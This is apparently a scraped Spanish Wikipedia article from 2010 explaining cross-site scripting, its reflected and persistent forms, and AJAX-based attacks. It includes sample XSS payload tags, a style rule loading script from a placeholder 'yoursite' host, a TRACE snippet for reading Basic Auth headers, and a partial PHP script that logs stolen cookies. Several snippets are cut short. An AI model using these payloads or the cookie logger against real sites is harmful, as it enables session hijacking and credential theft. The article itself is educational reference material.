Documentos de Académico
Documentos de Profesional
Documentos de Cultura
org/wiki/Cross-site_scripting
XSS, del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad basado en la explotación de vulnerabilidades del sistema de
validación de HTML incrustado.
Contenido
1 Introducción
2 XSS Indirecto (reflejado)
3 XSS Directo (persistente)
4 AJAX
5 Referencias
6 Enlaces externos
Introducción
Su nombre original es "Cross Site Scripting", y es abreviado como XSS para no ser confundido con las siglas CSS, (hojas de estilo en cascada). Las
vulnerabilidades de XSS originalmente abarcaban cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o JavaScript, en el contexto de
otro sitio web (y recientemente esto se podría clasificar más correctamente como "distintos orígenes").
Estos errores se pueden encontrar en cualquier aplicación que tenga como objetivo final, el presentar la información en un navegador web. No se limita a sitios
web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí. El problema está en que usualmente no se validan correctamente
los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (también llamada persistente) o indirecta
(también llamada reflejada).
Directa (Persistente): este tipo de XSS comúnmente filtrado, y consiste en invadir código HTML peligroso en sitios que así lo permiten; incluyendo así
etiquetas como lo son <script> o <iframe>.
Indirecta (Reflejada): este tipo de XSS consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones
y sucede cuando hay un mensaje o una ruta en la URL del navegador, en una cookie, o cualquier otra cabecera HTTP (en algunos navegadores y
aplicaciones web, esto podría extenderse al DOM del navegador).
http://www.example.com/home.asp?frame=menu.asp
En este ejemplo, ¿qué pasaría si se pone como URL del frame un código javascript? (Atención, no lo pongais vosotros en vuestro propio navegador!)
Si este enlace lo pone un atacante hacia una víctima, un visitante podrá verlo y verá que es del mismo dominio, suponiendo que no puede ser nada malo y de
resultado tendrá un bucle infinito de mensajes.
Un atacante en realidad trataría de colocar un script que robe las cookies de la víctima, para después poder personificarse como con su sesión, o hacer
automático el proceso con el uso de la biblioteca cURL o alguna similar. De esta forma, al recibir la cookie, el atacante podría ejecutar acciones con los
permisos de la víctima sin siquiera necesitar tu contraseña.
Otro uso común para estas vulnerabilidades es lograr hacer phishing. Quiere ello decir que la víctima ve en la barra de direcciones un sitio, pero realmente está
en otra. La víctima introduce su contraseña y se la envía al atacante.
error.php?error=Usuario%20Invalido
es probablemente vulnerable a XSS indirecto, ya que si escribe en el documento "Usuario Inválido", esto significa que un atacante podría insertar HTML y
JavaScript si así lo desea.
Por ejemplo, un tag como <script> que ejecute código javascript, cree otra sesión bajo otro usuario y mande la sesión actual al atacante.
Para probar vulnerabilidades de XSS en cookies, se puede modificar el contenido de una cookie de forma sencilla, usando el siguiente script. Sólo se debe
colocar en la barra de direcciones, y presionar 'Enter'.
Normalmente el atacante tratara de insertar tags como <iframe>, o <script>, pero en caso de fallar, el atacante puede tratar de poner tags que casi siempre están
permitidas y es poco conocida su capacidad de ejecutar código. De esta forma el atacante podria ejecutar código malicioso.
Ejemplos:
<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://yoursite/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
También se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga
el código a ejecutar, por ejemplo:
AJAX
Usar AJAX para ataques de XSS no es tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad de XSS para introducir un objeto XMLHttp
y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.
Este se ha popularizado con gusanos de XSS que se encargan de replicarse por medio de vulnerabilidades de XSS persistentes (aunque la posibilidad de usar XSS
reflejados es posible).
El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Autenticación Básica (Basic Auth). Sólo falta
decodificarlo, pero es más fácil mandarlo codificado al registro de contraseñas. La codificación es base64.
xmlhttp.open("TRACE","./",false);
xmlhttp.send(null);
str1=xmlhttp.responseText;
str2=splitString[1];
str3=str2.match(/.*/)[0];
alert(str3);
Por cuestiones de seguridad, Mozilla Firefox y el Internet Explorer 6.2+ no permiten usar el metodo TRACE.
Y este código guardaría un log con las cookies que enviaría el atacante.
<?php
$archivo = fopen('log2.htm','a');
$cookie = $_GET['c'];
$usuario = $_GET['id'];
$re = $HTTPREFERRER;
fclose($archivo);
?>
Referencias
Seth Fogie, Cross Site Scripting Attacks: Xss Exploits and Defense. 2007 ISBN 1-59749-154-3
XSS FAQ (http://www.cgisecurity.com/articles/xss-faq.shtml)
Enlaces externos
Ejemplo completo (SOAagenda.com) (http://soaagenda.com/journal/articulos/cross-site-scripting/)
JaSiLDBG (http://jasildbg.googlepages.com/)
XSS Cheat Sheet (http://ha.ckers.org/xss.html)
XSSdb (http://www.gnucitizen.org/xssdb)
Obtenido de "http://es.wikipedia.org/wiki/Cross-site_scripting"
Categorías: Problemas de seguridad informática | Hacking
Esta página fue modificada por última vez el 12 dic 2010, a las 12:02.
El texto está disponible bajo la Licencia Creative Commons Atribución Compartir Igual 3.0; podrían ser aplicables cláusulas adicionales. Lee los términos
de uso para más información.
Política de privacidad
Acerca de Wikipedia
Descargo de responsabilidad